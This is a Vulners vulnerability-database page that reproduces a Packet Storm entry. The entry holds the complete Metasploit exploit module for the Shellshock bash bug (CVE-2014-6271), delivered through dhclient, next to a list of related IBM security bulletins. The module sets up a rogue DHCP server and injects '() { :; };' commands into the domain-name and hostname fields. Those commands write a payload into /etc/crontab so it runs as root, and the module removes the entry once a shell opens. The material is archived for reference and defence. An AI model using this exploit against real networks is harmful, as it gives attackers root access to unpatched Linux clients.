Lucene search
K

Dhclient Bash Environment Variable Injection

🗓️ 27 Sep 2014 00:00:00Reported by egyptType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 91 Views

Dhclient Bash Environment Variable Injection, allows code execution by echoing payload into /etc/cronta

Related
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM Workload Deployer (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
15 Jun 201807:01
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect SmartCloud Provisioning for IBM Provided Software Virtual Appliance
17 Jun 201822:30
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM SmartCloud Entry Appliance (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
19 Jul 202000:49
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect certain Brocade products that IBM resells for use with IBM BladeCenter (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
31 Jan 201901:35
ibm
IBM Security Bulletins
Security Bulletins for IBM Tealeaf Customer Experience offerings
16 Jun 201819:35
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect certain IBM N Series products (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
18 Jun 201800:08
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM Smart Analytics System 5600 (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
16 Jun 201813:58
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM PureData System for Operational Analytics (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
18 Oct 201903:50
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM Flex System Manager (FSM): (CVE-2014-6271, CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187)
31 Jan 201901:30
ibm
IBM Security Bulletins
Security Bulletin: UPDATE: Vulnerabilities in Bash affect AIX Toolbox for Linux Applications (CVE-2014-6271, CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, and CVE-2014-7187)
15 Sep 202112:14
ibm
Rows per page
`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'rex/proto/dhcp'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::DHCPServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Dhclient Bash Environment Variable Injection',  
'Description' => %q|  
When bash is started with an environment variable that begins with the  
string "() {", that variable is treated as a function definition and  
parsed as code. If extra commands are added after the function  
definition, they will be executed immediately. When dhclient receives  
an ACK that contains a domain name or hostname, they are passed to  
configuration scripts as environment variables, allowing us to trigger  
the bash bug.  
  
Because of the length restrictions and unusual networking scenario at  
time of exploitation, we achieve code execution by echoing our payload  
into /etc/crontab and clean it up when we get a shell.  
|,  
'Author' =>  
[  
'Stephane Chazelas', # Vulnerability discovery  
'egypt' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'Platform' => ['unix'],  
'Arch' => ARCH_CMD,  
'References' =>  
[  
['CVE', '2014-6271']  
],  
'Payload' =>  
{  
# 255 for a domain name, minus some room for encoding  
'Space' => 200,  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic bash telnet ruby',  
}  
},  
'Targets' => [ [ 'Automatic Target', { }] ],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Sep 24 2014'  
))  
  
deregister_options('DOMAINNAME', 'HOSTNAME', 'URL')  
end  
  
def on_new_session(session)  
print_status "Cleaning up crontab"  
# XXX this will brick a server some day  
session.shell_command_token("sed -i '/^\\* \\* \\* \\* \\* root/d' /etc/crontab")  
end  
  
def exploit  
hash = datastore.copy  
# Quotes seem to be completely stripped, so other characters have to be  
# escaped  
p = payload.encoded.gsub(/([<>()|'&;$])/) { |s| Rex::Text.to_hex(s) }  
echo = "echo -e #{(Rex::Text.to_hex("*") + " ") * 5}root #{p}>>/etc/crontab"  
hash['DOMAINNAME'] = "() { :; };#{echo}"  
if hash['DOMAINNAME'].length > 255  
raise ArgumentError, 'payload too long'  
end  
  
hash['HOSTNAME'] = "() { :; };#{echo}"  
hash['URL'] = "() { :; };#{echo}"  
start_service(hash)  
  
begin  
while @dhcp.thread.alive?  
sleep 2  
end  
ensure  
stop_service  
end  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Sep 2014 00:00Current
1.1Low risk
Vulners AI Score1.1
EPSS0.9422
91